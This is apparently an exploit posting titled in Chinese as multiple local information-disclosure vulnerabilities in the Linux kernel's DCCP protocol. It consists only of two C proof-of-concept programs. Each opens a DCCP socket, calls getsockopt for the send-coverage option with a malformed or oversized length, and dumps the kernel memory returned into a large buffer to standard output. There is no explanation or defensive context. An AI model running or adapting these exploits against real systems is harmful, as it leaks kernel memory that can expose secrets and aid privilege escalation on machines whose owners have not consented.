Linux Kernel DCCP多个本地信息泄露漏洞

                                                =============================================001=========
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
        void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
        if (!mem) {
                printf("Cannot allocate mem\n");
                return 1;
        }
        /* SOCK_DCCP, IPPROTO_DCCP */
        int s = socket(PF_INET, 6, 33);
        if (s == -1) {
                fprintf(stderr, "socket failure!\n");
                return 1;
        }
        int len = -1;
        /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
        int x = getsockopt(s, 269, 11, mem, &len);

        if (x == -1)
                perror("SETSOCKOPT");
        else
                printf("SUCCESS\n");

        write(1, mem, BUFSIZE);

        return 0;
}

=============================================002=========
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
     void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
     if (mem == (void*)-1) {
        printf("Alloc failed\n");
        return -1;
     }
     /* SOCK_DCCP, IPPROTO_DCCP */
     int s = socket(PF_INET, 6, 33);
     if (s == -1) {
        fprintf(stderr, "socket failure!\n");
        return 1;
     }
    /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
     int len = BUFSIZE;
     int x = getsockopt(s, 269, 11, mem, &len);

     if (x == -1)
        perror("SETSOCKOPT");
     else
        printf("SUCCESS\n");

     write(1, mem, BUFSIZE);

     return 0;
}